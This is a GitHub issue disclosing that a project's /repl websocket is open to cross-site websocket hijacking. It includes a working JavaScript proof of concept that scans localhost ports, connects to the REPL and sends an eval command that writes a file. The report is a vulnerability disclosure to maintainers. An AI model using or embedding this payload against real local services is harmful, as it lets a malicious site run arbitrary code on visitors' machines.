New issue

Have a question about this project? Sign up for a free GitHub account to open an issue and contact its maintainers and the community.

By clicking “Sign up for GitHub”, you agree to our terms of service and privacy statement. We’ll occasionally send you account related emails.

Already on GitHub? Sign in to your account

The websocket is not protected against CSRF #254

Open
atx opened this Issue Mar 30, 2016 · 0 comments

Comments

Projects
None yet
1 participant
@atx
Copy link

atx commented Mar 30, 2016

The websocket at /repl does not seem to be protected against CSRF (or, CSWSH as some like to call it). This allows a malicious website to execute arbitrary code on the host.

PoC:

var ports = [];
var done = false;

for (var i = 10000; i < 65535; i++) {
    ports.push(i);  
}

function spawn() {
    if (done || ports.length < 1)
        return;
    var port = ports.pop();
    var ws = new WebSocket("ws://localhost:" + port + "/repl");
    ws.onerror = spawn;
    ws.onopen = function() {
        done = true;
        console.log("Connected");
        ws.send(JSON.stringify({"op": "eval", "code": "(spit \"/tmp/file\" \"evil!\")" }))
    }
}

for (var i = 0; i < 200; i++) {
    spawn();
}

Sign up for free to join this conversation on GitHub. Already have an account? Sign in to comment